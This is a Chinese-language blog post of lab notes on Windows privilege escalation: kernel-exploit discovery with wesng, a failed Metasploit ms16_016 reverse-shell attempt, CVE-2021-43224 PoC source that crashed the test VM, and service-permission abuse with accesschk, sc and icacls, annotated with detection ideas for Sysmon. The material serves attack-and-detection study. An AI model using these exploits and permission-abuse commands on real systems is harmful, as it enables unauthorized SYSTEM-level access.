Windows 提权方式总结
Windows 提权方式总结
Windows 提权方式总结
1 前言
1.1 提权基础命令
|
|
其中需要注意一下 环境变量
,因为有的软件环境变量可能设置在其它路径中,而在该路径下的文件是具有写权限的,就可以通过替换文件来达到提权操作==》检测逻辑:文件替换监控
1.2 Windows 权限划分
-
User:普通用户权限,系统中最安全的权限,分配给该组的默认权限不允许成员修改操作系统的设置或用户资料
-
Administrator:管理员权限,可以利用 Windows 的机制将自己提升为 System 权限,以便操作 SAM 文件等
-
System:系统权限,可以对 SAM 等敏感文件进行读取,往往需要 Administrator 权限提升到 System 权限才可以对散列值进行 Dump 操作
-
TrustedInstaller:最高权限, 对于系统文件,即使 System 权限也无法进行修改,只有 TrustedInstaller 权限才可以修改文件
1.3 常见 webshell 所处的权限
通常的 webshell 权限如下:
- ASP、PHP - 匿名权限
- ASPX - user 权限
- JSP - 通常是系统权限
2 系统内核提权
此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的 EXP 和它们的补丁编号,进行提升权限。
检查:
|
|
注:https://github.com/bitsadmin/wesng Windows-Exploit-Suggester
的最新下载链接
我自己下载了一个windows 7 professional 64版本,本地复现了下:
下载链接:https://download.microsoft.com/download/0/6/3/06365375-C346-4D65-87C7-EE41F55F736B/7601.24214.180801-1700.win7sp1_ldr_escrow_CLIENT_PROFESSIONAL_x64FRE_en-us.iso
漏洞收集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | C:\Users\bonelee>systeminfo > systeminfo.txt C:\Users\bonelee>notepad systeminfo.txt Host Name: WIN-64D074175DT OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00371-177-0000061-85955 Original Install Date: 9/4/2022, 8:22:24 PM System Boot Time: 9/4/2022, 8:50:38 PM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 2 Processor(s) Installed. [01]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~2592 Mhz [02]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~2592 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi Total Physical Memory: 4,047 MB Available Physical Memory: 3,204 MB Virtual Memory: Max Size: 8,093 MB Virtual Memory: Available: 7,081 MB Virtual Memory: In Use: 1,012 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: \\WIN-64D074175DT Hotfix(s): 186 Hotfix(s) Installed. [01]: KB2849697 [02]: KB2849696 [03]: KB2841134 [04]: KB2670838 [05]: KB971033 [06]: KB2479943 [07]: KB2491683 [08]: KB2506014 [09]: KB2506212 ... [185]: KB982018 [186]: KB4467107 Network Card(s): 2 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: Yes DHCP Server: 192.168.58.254 IP address(es) [01]: 192.168.58.129 [02]: fe80::a5ba:113:7d5:5a8b [02]: Bluetooth Device (Personal Area Network) Connection Name: Bluetooth Network Connection Status: Media disconnected |
1 2 3 4 5 6 7 8 9 | 然后下载wesng后,在我的宿主机(C2 server)运行: D:\BaiduNetdiskDownload\wesng-master\wesng-master>python3 wes.py --update Windows Exploit Suggester 1.03 ( https: //github.com/bitsadmin/wesng/ ) [+] Updating definitions [+] Obtained definitions created at 20220901 D:\BaiduNetdiskDownload\wesng-master\wesng-master>python3 wes.py systeminfo.txt >result.txt |
result.txt示例内容(后面的win32_vul.txt便是此文件):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | Windows Exploit Suggester 1.03 ( https: //github.com/bitsadmin/wesng/ ) [+] Parsing systeminfo output [+] Operating System - Name: Windows 7 for x64-based Systems Service Pack 1 - Generation: 7 - Build: 7601 - Version: None - Architecture: x64-based - Installed hotfixes (186): KB2849697, KB2849696, KB2841134, KB2670838, KB971033, KB2479943, KB2491683, KB2506014, KB2506212, KB2506928, KB2532531, KB2533552, KB2533623, KB2534366, KB2545698, KB2547666, KB2552343, KB2560656, KB2563227, KB2564958, KB2579686, KB2585542, KB2603229, KB2604115, KB2620704, KB2621440, KB2631813, KB2639308, KB2640148, KB2653956, KB2654428, KB2656356, KB2660075, KB2667402, KB2685811, KB2685813, KB2685939, KB2690533, KB2698365, KB2705219, KB2719857, KB2726535, KB2727528, KB2729094, KB2729452, KB2731771, KB2732059, KB2732487, KB2736422, KB2742599, KB2750841, KB2758857, KB2761217, KB2763523, KB2770660, KB2773072, KB2786081, KB2789645, KB2791765, KB2799926, KB2800095, KB2807986, KB2808679, KB2813430, KB2834140, KB2836942, KB2836943, KB2840631, KB2843630, KB2847927, KB2852386, KB2853952, KB2861698, KB2862330, KB2862335, KB2864202, KB2868038, KB2871997, KB2882822, KB2884256, KB2888049, KB2891804, KB2893294, KB2893519, KB2894844, KB2900986, KB2908783, KB2911501, KB2912390, KB2918077, KB2919469, KB2931356, KB2937610, KB2943357, KB2952664, KB2966583, KB2968294, KB2970228, KB2972100, KB2972211, KB2973112, KB2973201, KB2977292, KB2978120, KB2978742, KB2984972, KB2985461, KB2991963, KB2992611, KB3004375, KB3006121, KB3006137, KB3010788, KB3011780, KB3013531, KB3019978, KB3020370, KB3021674, KB3021917, KB3023215, KB3030377, KB3031432, KB3035126, KB3037574, KB3042058, KB3045685, KB3046017, KB3046269, KB3054476, KB3055642, KB3059317, KB3060716, KB3067903, KB3068708, KB3071756, KB3072305, KB3074543, KB3075220, KB3078601, KB3078667, KB3080149, KB3086255, KB3092601, KB3093513, KB3097989, KB3101722, KB3102810, KB3107998, KB3108371, KB3108664, KB3109103, KB3109560, KB3110329, KB3115858, KB3122648, KB3126587, KB3127220, KB3133977, KB3137061, KB3138378, KB3138612, KB3138910, KB3139398, KB3139914, KB3140245, KB3147071, KB3150220, KB3150513, KB3155178, KB3156016, KB3159398, KB3161102, KB3161949, KB3170735, KB3172605, KB3177467, KB3179573, KB3184143, KB3185319, KB4019990, KB4040980, KB4457044, KB4459934, KB976902, KB982018, KB4467107 [+] Loading definitions - Creation date of definitions: 20220901 [+] Determining missing patches [!] Found vulnerabilities! Date: 20170314 CVE: CVE-2017-0022 KB: KB4012212 Title: Security Update for Microsoft XML Core Services Affected product: Windows 7 for x64-based Systems Service Pack 1 Affected component: Microsoft XML Core Services 3.0 Severity: Important Impact: Information Disclosure Exploit: n/a Date: 20170314 CVE: CVE-2017-0042 KB: KB4012212 Title: Security Update for Windows DirectShow Affected product: Windows 7 for x64-based Systems Service Pack 1 Affected component: Severity: Important Impact: Information Disclosure Exploit: n/a Date: 20170314 CVE: CVE-2017-0045 KB: KB4012212 Title: Security Update for Windows DVD Maker Affected product: Windows 7 for x64-based Systems Service Pack 1 Affected component: Severity: Important Impact: Information Disclosure Exploits: http: //hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt, https://www.exploit-db.com/exploits/41619/ |
正好里面有这个MS16-016提权的漏洞(gg!我用win7 32位sp1没有看到该漏洞!):
1 2 3 4 5 6 7 8 9 | Date: 20160209 CVE: CVE-2016-0051 KB: KB3124280 Title: Security Update for WebDAV to Address Elevation of Privilege Affected product: Windows 7 for x64-based Systems Service Pack 1 Affected component: Severity: Important Impact: Elevation of Privilege Exploits: https: //www.exploit-db.com/exploits/39788/, https://www.exploit-db.com/exploits/40085/, https://www.exploit-db.com/exploits/39432/ |
利用该漏洞的poc:
https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/EoP/Program.cs
待详细分析。
然后运行了下,在64位上运行不成功。。。
1 2 3 4 5 6 7 | C:\Users\tmp\Desktop\eop>EoP.exe [*] LoadAndGetKernelBase result = 0 [*] NtAllocateVirtualMemory result = INVALID_PARAMETER_2, addr = 4096, size = 16 384 [-] Fail... so sad :( Press ENTER to exit. |
GG!
又试了下msf里的做法,参考https://www.cnblogs.com/bonelee/p/15863362.html,结果还是没有成功!!!
1 2 3 4 5 6 7 8 9 10 11 | meterpreter > background [*] Backgrounding session 1... msf6 exploit(windows/local/ms16_016_webdav) > use exploit/windows/local/ms16_016_webdav [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/local/ms16_016_webdav) > set SESSION 1 SESSION => 1 msf6 exploit(windows/local/ms16_016_webdav) > exploit [*] Started reverse TCP handler on 192.168.58.128:4444 [-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported [*] Exploit completed, but no session was created. |
32位上因为,我安装的win7没有ms16提权漏洞,所以真蛋疼啊!这环境安装让人抓狂!
---------------------------------------------------------------------------------------换一个漏洞试试。
另外,这里有提权的所有漏洞汇总,https://github.com/ycdxsb/WindowsPrivilegeEscalation
不行啊,必须自己搞一个内核漏洞的提权用例,如下效果:
写一个代码看看自己win7 32位系统上有哪些可以利用的提权漏洞吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | # https://github.com/ycdxsb/WindowsPrivilegeEscalation s = "" " 2021 CVE-2021-43883/CVE-2021-41379 CVE-2021-43224 CVE-2021-42278/CVE-2021-42278 CVE-2021-40449 CVE-2021-40444 CVE-2021-38639 CVE-2021-36934 CVE-2021-34527 CVE-2021-34486 CVE-2021-33739 CVE-2021-31956 CVE-2021-28310 CVE-2021-26868 CVE-2021-24096 CVE-2021-21551 CVE-2021-1732 2020 CVE-2020-17087 CVE-2020-17057 CVE-2020-16898 CVE-2020-1362 CVE-2020-1350 CVE-2020-1337 CVE-2020-1313 CVE-2020-1301 CVE-2020-1066 CVE-2020-1054 CVE-2020-1048 CVE-2020-1034 CVE-2020-1015 CVE-2020-0883 CVE-2020-0814 CVE-2020-0796 CVE-2020-0787 CVE-2020-0754 CVE-2020-0753 CVE-2020-0683 CVE-2020-0668 CVE-2020-0624 CVE-2020-0610 CVE-2020-0609 2019 CVE-2019-1477 CVE-2019-1476 CVE-2019-1458 CVE-2019-1422 CVE-2019-1405 CVE-2019-1388 CVE-2019-1385 CVE-2019-1322 CVE-2019-1315 CVE-2019-1253 CVE-2019-1215 CVE-2019-1132 CVE-2019-1129/1130 CVE-2019-1064 CVE-2019-1040 CVE-2019-0986 CVE-2019-0863 CVE-2019-0859 CVE-2019-0803 CVE-2019-0708 CVE-2019-0623 2018 CVE-2018-8639 CVE-2018-8453 CVE-2018-8440 CVE-2018-8414 CVE-2018-8120 CVE-2018-7249 CVE-2018-1038 CVE-2018-0886 CVE-2018-0824 2017 CVE-2017-11783 CVE-2017-8543 CVE-2017-8465 CVE-2017-8464 CVE-2017-7269 CVE-2017-0290 CVE-2017-0263 CVE-2017-0213 CVE-2017-0143 (MS17-010) CVE-2017-0101 (MS17-017) CVE-2017-0100 (MS17-012) CVE-2017-0005 (MS17-013) 2016 CVE-2016-7255 (MS16-135) CVE-2016-3371 (MS16-111) CVE-2016-3308/3309 (MS16-098) CVE-2016-3225 (MS16-075) CVE-2016-0099 (MS16-032) CVE-2016-0095 (MS16-034) CVE-2016-0051 (MS16-016) CVE-2016-0041 (MS16-014) 2015 CVE-2015-2546 (MS15-097) CVE-2015-2387 (MS15-077) CVE-2015-2370 (MS15-076) CVE-2015-1726 (MS15-061) CVE-2015-1701 (MS15-051) CVE-2015-0062 (MS15-015) CVE-2015-0057 (MS15-010) CVE-2015-0003 (MS15-010) CVE-2015-0002 (MS15-001) 2014 CVE-2014-6324 (MS14-068) CVE-2014-6321 (MS14-066) CVE-2014-4113 (MS14-058) CVE-2014-4076 (MS14-070) CVE-2014-1767 (MS14-040) 2013 CVE-2013-5065 (MS14-002) CVE-2013-1345 (MS13-053) CVE-2013-1332 (MS13-046) CVE-2013-1300 (MS13-053) CVE-2013-0008 (MS13-005) 2012 CVE-2012-0217 (MS12-042) CVE-2012-0152 (MS12-020) CVE-2012-0002 (MS12-020) 2011 CVE-2011-2005 (MS11-080) CVE-2011-1974 (MS11-062) CVE-2011-1249 (MS11-046) CVE-2011-1237 (MS11-034) CVE-2011-0045 (MS11-011) 2010 CVE-2010-3338 (MS10-092) CVE-2010-2730 (MS10-065) CVE-2010-2554 (MS10-059) CVE-2010-1897 (MS10-048) CVE-2010-1887 (MS10-048) CVE-2010-0270 (MS10-020) CVE-2010-0233 (MS10-015) CVE-2010-0020 (MS10-012) 2009 CVE-2009-2532 (MS09-050) CVE-2009-1535 (MS09-020) CVE-2009-0229 (MS09-022) CVE-2009-0079 (MS09-012) 2008 CVE-2008-4250 (MS08-067) CVE-2008-4037 (MS08-068) CVE-2008-3464 (MS08-066) CVE-2008-1084 (MS08-025) 2007 CVE-2007-0843 CVE-2007-0038 2006 CVE-2006-3439 (MS06-040) 2005 CVE-2005-1983 (MS05-039) 2003 CVE-2003-0352 (MS03-026) 2000 CVE-2000-0979 "" " with open(r "D:\BaiduNetdiskDownload\wesng-master\wesng-master\win32_vul.txt" ) as f: txt = f.read() lines = s.split( "\n" ) for line in lines: if "CVE" in line: data = line.strip().split() cve = data[0] if cve in txt: print(cve) |
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | CVE-2021-43224 CVE-2021-40449 CVE-2021-38639 CVE-2021-34527 CVE-2021-31956 CVE-2020-17087 CVE-2020-1337 CVE-2020-1301 CVE-2020-1066 CVE-2020-1054 CVE-2020-1048 CVE-2020-1015 CVE-2020-0883 CVE-2020-0814 CVE-2020-0787 CVE-2020-0754 CVE-2020-0753 CVE-2020-0683 CVE-2020-0668 CVE-2019-1458 CVE-2019-1422 CVE-2019-1405 CVE-2019-1388 CVE-2019-1315 CVE-2019-1215 CVE-2019-1132 CVE-2019-1040 CVE-2019-0986 CVE-2019-0863 CVE-2019-0859 CVE-2019-0803 CVE-2019-0708 CVE-2019-0623 CVE-2018-8639 CVE-2018-8453 CVE-2018-8440 CVE-2018-8120 CVE-2018-0886 CVE-2018-0824 CVE-2017-8543 CVE-2017-8464 CVE-2017-0263 CVE-2017-0213 CVE-2017-0143 CVE-2017-0101 CVE-2017-0100 CVE-2017-0005 CVE-2016-7255 CVE-2016-3225 CVE-2016-0041 CVE-2015-2546 CVE-2015-1701 CVE-2011-1249 CVE-2011-0045 |
选择第一个吧, CVE-2021-43224
POC在这里:https://github.com/KaLendsi/CVE-2021-43224-POC
然后发现没有exe,GG!自己下载项目编译吧!我用的是vs2022 pro版,网上有开放的激活码可以用。准备就绪以后,导入工程:
注意,编译的时候选择x86!不是x64!
此外,编译的时候,还要设置下静态链接!原因见: https://blog.csdn.net/qq_43170478/article/details/104085919
生成以后将exe文件,copy到win7系统【无论是普通用户还是管理员运行都一样效果!!!】,然后运行就直接蓝屏了!!!
好了,接下里就是看看哪些数据被sysmon采集了。分析如何检测这类内核漏洞利用。
CVE-2021-43224Windows 通用日志文件系统驱动程序信息泄露漏洞
上述漏洞微软也没有详细给原理,尼玛!坑
poc代码,当然也看不出根本问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #include <Windows.h> #include <wchar.h> #include <iostream> #include <clfsw32.h> #include <Clfsmgmtw32.h> #pragma comment(lib, "clfsw32.lib") int main() { wchar_t szLogPath[] = L "LOG:C:\\Users\\Public\\MyLog::Stream1" ; //wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog"; //wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog"; //\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0 //SECURITY_ATTRIBUTES psaLogFile = {}; HANDLE hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL); if (INVALID_HANDLE_VALUE == hLog) { printf( "error=%d\n" , GetLastError()); return 1; } if (!RegisterManageableLogClient(hLog, 0)) printf( "error=%d\n" , GetLastError()); printf( "hLog=%p\n" , hLog); CLFS_INFORMATION pinfoBuffer = {}; //ULONG infoSize = sizeof(pinfoBuffer); ULONG infoSize = 0x110; // system("pause"); DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize); if (dwRet == NULL) { printf( "error=%d\n" , GetLastError()); return 1; } printf( "dwRet=%08x\n" , dwRet); return 0; } |
日志采集:
连导致蓝屏的cve_xxxx.exe进程名都没有采集到,就是看到sysmon状态变更,应该是挂之前写的!
然后是这条数据【后面这些日志都是系统重启后sysmon采集的,所以内核漏洞的数据都没有采集到!】:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | Process Create: RuleName: - UtcTime: 2022-09-10 12:57:38.350 ProcessGuid: {35612ded-89c2-631c-0500-000000002200} ProcessId: 384 Image: C:\Windows\System32\csrss.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Client Server Runtime Process Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: CSRSS.Exe CommandLine: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 CurrentDirectory: C:\Windows\system32 User: NT AUTHORITY\SYSTEM LogonGuid: {35612ded-89c2-631c-e703-000000000000} LogonId: 0x3e7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5=342271F6142E7C70805B8A81E1BA5F5C,SHA256=F9112B88FEC5EF10A7AEDF88DCEE61956D1FCDE7CB42197216E8265578713786,IMPHASH=A801AE60E0B3E5643B92C006DA96F0E0 ParentProcessGuid: {35612ded-89c1-631c-0400-000000002200} ParentProcessId: 364 ParentImage: C:\Windows\System32\smss.exe ParentCommandLine: \SystemRoot\System32\smss.exe 00000000 00000048 ParentUser: NT AUTHORITY\SYSTEM |
注意:用户是高权限的 User: NT AUTHORITY\SYSTEM
csrss.exe是什么进程?csrss.exe通常是系统的正常进程,所在的进程文件是csrss或csrss.exe,是微软客户端、服务端运行时子系统,windows的核心进程之一。管理Windows图形相关任务,对系统的正常运行非常重要。
csrss.exe是什么进程,csrss是Client/Server Runtime Server Subsystem的简称,即客户/服务器运行子系统,用以控制Windows图形相关子系统,必须一直运行。csrss用于维持Windows的控制,创建或者删除线程和一些16位的虚拟MS-DOS环境。也有可能是W32.Netsky.AB@mm等病毒创建的。
本进程的主要是控制图形子系统、负责管理线程,并执行MS-DOS环境的图形窗口及其他某些部分。csrss.exe是什么进程?这是一个重要的进程,他会随系统的启动而自动开启并一直运行。在大多数情况下它是安全的,你不应该将其终止;但也有与其类似的病毒出现 。
还有其他日志:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | Process Create: RuleName: - UtcTime: 2022-09-10 12:57:38.506 ProcessGuid: {35612ded-89c2-631c-0600-000000002200} ProcessId: 428 Image: C:\Windows\System32\smss.exe FileVersion: 6.1.7601.24214 (win7sp1_ldr_escrow.180801-1700) Description: Windows Session Manager Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: smss.exe CommandLine: \SystemRoot\System32\smss.exe 00000001 00000048 CurrentDirectory: C:\Windows\ User: NT AUTHORITY\SYSTEM LogonGuid: {35612ded-89c2-631c-e703-000000000000} LogonId: 0x3e7 TerminalSessionId: 1 IntegrityLevel: System Hashes: MD5=53D1E3DE70BC7DF8BAFC8C9E6465F504,SHA256=09C042062EB761D8F80E27B3035F1C2257EAB0B87E10621E50B94CBEB152DC7C,IMPHASH=263C3FFA2FD990E9BAE492989A61AF52 ParentProcessGuid: {35612ded-89c1-631c-0200-000000002200} ParentProcessId: 296 ParentImage: C:\Windows\System32\smss.exe ParentCommandLine: \SystemRoot\System32\smss.exe ParentUser: NT AUTHORITY\SYSTEM |
smss.exe是什么进程?
smss.exe(Session Manager Subsystem),该进程为会话管理子系统用以初始化系统变量,MS-DOS驱动名称类似LPT1以及COM,调用Win32壳子系统和运行在Windows登陆过程。这是一个会话管理子系统,负责启动用户会话。这个进程是通过系统进程初始化的并且对许多活动的,包括已经正在运行的Windows登录程序(winlogon.exe),Win32子系统(csrss.exe)线程和设定的系统变量作出反映。
smss.exe进程有什么作用
smss.exe(会话管理器)是Windows系统中第一个创建的用户模式进程。负责完成执行体和内核初始化工作的内核模式系统线程在最后阶段创建了实际的Smss进程。在启动Windows的过程中,smss.exe作用过程分为7个步骤,分别如下:
1.创建LPC port对象,为MSDOS定义符号连接,例如COM1、LPT1,假如安装有Terminal Services,则创建\Sessions目录
2.运行注册表里HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute定义的程序,一般默认的是运行Autochk
3.执行HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations表键中的延迟,删除,改名操作
4.加载HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 初始化paging files和注册表
5.创建系统环境变量,这些定义在HKLM\System\CurrentControlSet\Session Manager\Environment
6.加载和初始化Win32子系统的内核模块Win32k.sys
7.创建Win32子系统服务器进程,包括Csrss.exe并创建Winlogon.exe进程。
在注册表的HKLM\SYSTEM\CurrentControlSet\Control\Session
Manager下面,你可以找到许多配置信息,它们驱动了Smss.exe的初始化步骤。Smss.exe中的主线程在执行了这些初始化步骤以后,
一直在Csrss.exe和Winlogon.exe的进程句柄上等待。如果这两个进程中的任何一个非正常终止了,则Smss让系统崩溃掉(崩溃的代码是
STATUS_SYSTEM_PROCESS_TERMINATED或0xC000021A),因为Windows要依赖于这两个进程的存在才能运行得下去。(拓展阅读:svchost.exe是什么进程?)
同时Smss.exe等待加载子系统的请求、调试事件,以及创建新的终端服务器会话(terminal server sessions)的请求。终端服务会话(Terminal Services session)的创建是由Smss.exe来完成的。当Smss.exe接到一个创建会话的请求时,它首先调用NtSetSystemInformation,请求建立内核模式的会话数据结构。又依次调用内部的内存管理器函数MmSessionCreate, 该函数建立起会话虚拟地址空间,该地址空间中包含会话中的换页内存池,以及由Win32子系统的内核模式部分(Win32k.sys)和其他的会话空间设备驱动程序所分配的、属于每个会话的数据结构。然后,Smss.exe为该会话创建Winlogon.exe和Csrss.exe的实例。
果然还看到了csrss进程日志:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | Process Create: RuleName: - UtcTime: 2022-09-10 12:57:38.506 ProcessGuid: {35612ded-89c2-631c-0800-000000002200} ProcessId: 444 Image: C:\Windows\System32\csrss.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Client Server Runtime Process Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: CSRSS.Exe CommandLine: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 CurrentDirectory: C:\Windows\system32 User: NT AUTHORITY\SYSTEM LogonGuid: {35612ded-89c2-631c-e703-000000000000} LogonId: 0x3e7 TerminalSessionId: 1 IntegrityLevel: System Hashes: MD5=342271F6142E7C70805B8A81E1BA5F5C,SHA256=F9112B88FEC5EF10A7AEDF88DCEE61956D1FCDE7CB42197216E8265578713786,IMPHASH=A801AE60E0B3E5643B92C006DA96F0E0 ParentProcessGuid: {35612ded-89c2-631c-0600-000000002200} ParentProcessId: 428 ParentImage: C:\Windows\System32\smss.exe ParentCommandLine: \SystemRoot\System32\smss.exe 00000001 00000048 ParentUser: NT AUTHORITY\SYSTEM |
winit进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | Process Create: RuleName: - UtcTime: 2022-09-10 12:57:38.506 ProcessGuid: {35612ded-89c2-631c-0700-000000002200} ProcessId: 436 Image: C:\Windows\System32\wininit.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Windows Start-Up Application Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: WinInit.exe CommandLine: wininit.exe CurrentDirectory: C:\Windows\system32 User: NT AUTHORITY\SYSTEM LogonGuid: {35612ded-89c2-631c-e703-000000000000} LogonId: 0x3e7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5=B5C5DCAD3899512020D135600129D665,SHA256=F6B4D18FA0D3C4958711AC0D476C21A6FDF2897F989A0AD290B43F463DD8B5B0,IMPHASH=3A03523373D4A10171106AA80AA91C50 ParentProcessGuid: {35612ded-89c1-631c-0400-000000002200} ParentProcessId: 364 ParentImage: C:\Windows\System32\smss.exe ParentCommandLine: \SystemRoot\System32\smss.exe 00000000 00000048 ParentUser: NT AUTHORITY\SYSTEM |
再来一个漏洞复现吧:
CVE-2017-0101 (MS17-017)
The kernel-mode drivers in Transaction Manager in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2; Windows 7 SP1; Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1; Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allow local users to gain privileges via a crafted application, aka "Windows Elevation of Privilege Vulnerability."
- Analyse
- Exp
32位win7还是没有复现,没有提权效果,GG!!!
下面是辅助提权的页面:
- https://github.com/SecWiki/windows-kernel-exploits
- https://wiki.0-sec.org/#/index
- https://github.com/neargle/win-powerup-exp-index
- http://blog.neargle.com/win-powerup-exp-index/
- https://detect.secwx.com
3 配置不当提权
3.1 系统服务权限配置错误
Windows 系统服务文件在操作系统启动时加载并执行,并调用可执行文件。因此,如果一个低权限用户对这些调用的可执行文件拥有可写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限,但一般情况下,Windows 是以 System 权限执行的,因此,其文件夹、文件和注册表键值都是受到强访问控制机制保护的,但在某些情况下仍有些服务没有得到有效保护。==>检测逻辑:文件替换监测
3.1.1 accesschk
下载地址:https://download.sysinternals.com/files/SysinternalsSuite.zip
- 用 accesschk.exe 工具查看当前用户可修改的服务:
accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //XXX为当前用户名 ==>检测逻辑:提权工具使用
如果出现 SERVICE_ALL_ACCESS 则表示当前用户拥有修改该服务的权限
- 查看该服务启动时的权限
sc qc VMTools
- 然后修改执行文件路径为我们想要执行的命令
|
|
- 重启服务
|
|
但要注意这里启动时会报错,因为当一个服务在 Windows 系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。但是我们的命令已经以 SYSTEM 权限运行了,并且成功添加了一个用户。
利用系统自带的 icacls 也可以:
确定写入权限:icacls "C:\Program Files\program folder"
「M」表示修改、「F」表示完全控制
「CI」代表从属容器将继承访问控制项
「OI」代表从属文件将继承访问控制项
icacls使用说明
Intergrity Control Access Control List: 完整性权限控制列表,Windows系统下控制文件及文件夹的访问权限的命令行指令,相当于Linux中的chmod,原命令cacls已经被废弃。
Instance
Open Windows Command Line: Win + R > Input ‘cmd’
Format: icacls "C:\MyFolder" /grant Users:F
Instance: C:\>icacls "D:\test" /grant Everyone:(OI)(CI)F /T ==>检测:icacls命令使用,尤其是有grant admin的
MS documentation:
1, F = Full Control
- 777
2, CI = Container Inherit - This flag indicates that subordinate containers will inherit this ACE.
- 子文件夹继承父文件夹权限
3, OI = Object Inherit - This flag indicates that subordinate files will inherit the ACE.
- 子文件继承父文件夹权限
4, /T = Apply recursively to existing files and sub-folders. (OI and CI only apply to new files and sub-folders).
- 递归传递权限
Link
Microsoft Doc: https://technet.microsoft.com/en-us/library/cc753525(v=ws.11).aspx
常用命令:
|
|
==》检测:配合findstr的!
anyrun里的赋予admin权限的。
icacls grant admin site:any.run
可以看到1000多条结果。
示例样本:
https://app.any.run/tasks/5ca8deb3-f27c-409d-8eae-a50691c0a505?_gl=1*15u3mi9*_ga*MzA3MTQxMTA4LjE2NDM0MjAwMzI.*_ga_53KB74YDZR*MTY1MDM1NjQyMC40NS4wLjE2NTAzNTY0MjQuNTY.&_ga=2.195761068.1453221316.1661162101-307141108.1643420032/
3.1.2 PowerSploit
|
|
列出了所有可能存在问题的服务:
- ServiceName:可能存在漏洞的服务
- Path:该服务的可执行程序的路径
- StartName:服务运行账号
- AbuseFunction:利用方式
